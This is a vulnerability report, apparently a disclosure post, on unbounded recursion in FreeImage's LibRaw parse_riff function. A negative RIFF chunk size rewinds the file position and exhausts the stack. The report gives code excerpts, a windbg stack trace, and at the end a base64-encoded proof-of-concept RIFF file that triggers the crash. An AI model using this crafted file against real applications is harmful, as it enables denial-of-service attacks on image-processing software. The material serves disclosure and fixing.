tl;dr:
When Load RIFF format files, “size” is read from file. FreeImage seek file pos by "size", and function Validate will call LibRaw::open_datastream with LibRaw_freeimage_datastream, it will call to LibRaw::parse_riff. If “size” is a negative number(>0x7ffffffff), FreeImage will call LibRaw::parse_riff function by itself, it eventually causing the stack to be filled.

When the program reads a RIFF format file, it will call to the Validate function of the ‘PluginRAW.cpp’ file , to validata format.

In Validate function, it will use LibRaw_freeimage_datastream to call LibRaw::open_datastream

static BOOL DLL_CALLCONV Validate(FreeImageIO *io, fi_handle handle) { //<---- io is LibRaw_freeimage_datastream … // no magic signature : we need to open the file (it will take more time to identify it) // do not declare RawProcessor on the stack as it may be huge (300 KB) { LibRaw *RawProcessor = new(std::nothrow) LibRaw;

    if(RawProcessor) {
        BOOL bSuccess \= TRUE;

        // wrap the input datastream
        LibRaw\_freeimage\_datastream datastream(io, handle);

        // open the datastream
        if(RawProcessor->open\_datastream(&datastream) != LIBRAW\_SUCCESS) {     //<---- call LibRaw::open\_datastream
            bSuccess \= FALSE;   // LibRaw : failed to open input stream (unknown format)
        }

        // clean-up internal memory allocations
        RawProcessor-\>recycle();
        delete RawProcessor;

        return bSuccess;
    }
}

return FALSE;

}

And will call to LibRaw::parse_riff function if file start with "RIFF".

FreeImaged.dll!LibRaw::parse_riff() FreeImaged.dll!LibRaw::identify() FreeImaged.dll!LibRaw::open_datastream(LibRaw_abstract_datastream * stream) FreeImaged.dll!Validate(FreeImageIO * io, void * handle) FreeImaged.dll!FreeImage_ValidateFIF(FREE_IMAGE_FORMAT fif, FreeImageIO * io, void * handle) FreeImaged.dll!FreeImage_GetFileTypeFromHandle(FreeImageIO * io, void * handle, int size) FreeImaged.dll!FreeImage_GetFileType(const char * filename, int size)

In LibRaw::parse_riff function, it call itslef by variable "tag". And the “tag” is read from file.

void LibRaw::parse_riff() { unsigned i, size, end; char tag[4], date[64], month[64]; static const char mon[12][4] = {"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"}; struct tm t;

order = 0x4949; fread(tag, 4, 1, ifp); size = get4(); //<---- size read from file end = ftell(ifp) + size; if (!memcmp(tag, "RIFF", 4) || !memcmp(tag, "LIST", 4)) { int maxloop = 1000; get4(); while (ftell(ifp) + 7 < end && !feof(ifp) && maxloop–) parse_riff(); //<---- call itself } … } else fseek(ifp, size, SEEK_CUR); //<---- seek pos by size }

function get4() just read four bytes.

unsigned LibRaw::get4() { uchar str[4] = {0xff, 0xff, 0xff, 0xff}; fread(str, 1, 4, ifp); return sget4(str); }

__int64 is file default variable type at LibRaw_bigfile_buffered_datastream in “libraw_datastream.h”

class DllDef LibRaw_bigfile_buffered_datastream : public LibRaw_abstract_datastream { public: … virtual INT64 tell(); virtual INT64 size() { return _fsize; } … protected: INT64 readAt(void *ptr, size_t size, INT64 off); … INT64 _fsize; INT64 _fpos; /* current file position; current buffer start position */ … };

But long is file default variable type at “LibRaw_freeimage_datastream” in FreeImageIO.cpp

unsigned DLL_CALLCONV _ReadProc(void *buffer, unsigned size, unsigned count, fi_handle handle) { return (unsigned)fread(buffer, size, count, (FILE *)handle); }

unsigned DLL_CALLCONV _WriteProc(void *buffer, unsigned size, unsigned count, fi_handle handle) { return (unsigned)fwrite(buffer, size, count, (FILE *)handle); }

int DLL_CALLCONV _SeekProc(fi_handle handle, long offset, int origin) { return fseek((FILE *)handle, offset, origin); }

long DLL_CALLCONV _TellProc(fi_handle handle) { return ftell((FILE *)handle); }

So if we let “size” to a negative number, the the file cursor pos could go back to begining of function.
LibRaw::parse_riff will call function by itself, it eventually causing the stack to be filled. An attacker can reach a remote denial of service attack by sending a specially constructed file.

windbg:

ModLoad: 00000001`80000000 00000001`80a65000 D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Dist\x64\FreeImaged.dll ModLoad: 00007ffa`f4430000 00007ffa`f44bd000 C:\Windows\SYSTEM32\MSVCP140.dll ModLoad: 00007ffb`5eda0000 00007ffb`5edac000 C:\Windows\SYSTEM32\VCRUNTIME140_1.dll ModLoad: 00007ffb`7de50000 00007ffb`7debb000 C:\Windows\System32\WS2_32.dll ModLoad: 00007ffb`69a60000 00007ffb`69a7b000 C:\Windows\SYSTEM32\VCRUNTIME140.dll ModLoad: 00007ffb`39170000 00007ffb`391a7000 C:\Windows\SYSTEM32\VCOMP140D.DLL ModLoad: 00007ffb`7dd20000 00007ffb`7de4a000 C:\Windows\System32\RPCRT4.dll (4460.8c84): Break instruction exception - code 80000003 (first chance) ntdll!LdrpDoDebuggerBreak+0x30: 00007ffb`7ed80770 cc int 3 0:000> g (4460.8c84): Stack overflow - code c00000fd (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. FreeImaged!__crt_stdio_stream::has_any_buffer+0x13: 00000001`8058e103 e808000000 call FreeImaged!__crt_stdio_stream::has_any_of (00000001`8058e110) 0:000> k

Child-SP RetAddr Call Site

00 000000a9`09a03ff0 00000001`805a2947 FreeImaged!__crt_stdio_stream::has_any_buffer+0x13 [minkernel\crts\ucrt\inc\corecrt_internal_stdio.h @ 221] 01 000000a9`09a04020 00000001`805a31c0 FreeImaged!_fread_nolock_s+0x2b7 [minkernel\crts\ucrt\src\appcrt\stdio\fread.cpp @ 93] 02 000000a9`09a04100 00000001`805a307d FreeImaged!fread_s+0x130 [minkernel\crts\ucrt\src\appcrt\stdio\fread.cpp @ 56] 03 000000a9`09a04150 00000001`8000f564 FreeImaged!fread+0x3d [minkernel\crts\ucrt\src\appcrt\stdio\fread.cpp @ 240] 04 000000a9`09a04190 00000001`8005192b FreeImaged!_ReadProc+0x34 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\FreeImage\FreeImageIO.cpp @ 33] 05 000000a9`09a041c0 00000001`802f1bf1 FreeImaged!LibRaw_freeimage_datastream::read+0x3b [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\FreeImage\PluginRAW.cpp @ 67] 06 000000a9`09a041f0 00000001`802f1d11 FreeImaged!LibRaw::parse_riff+0x81 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 256] 07 000000a9`09a043b0 00000001`802f1d11 FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263] 08 000000a9`09a04570 00000001`802f1d11 FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263] 09 000000a9`09a04730 00000001`802f1d11 FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263] 0a 000000a9`09a048f0 00000001`802f1d11 FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263] 0b 000000a9`09a04ab0 00000001`802f1d11 FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263] 0c 000000a9`09a04c70 00000001`802f1d11 FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263]

TestFile:

data:image/raw;base64,UklGRiAAAAAAAAAAMHg3OQAAAAAwMDAw5P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==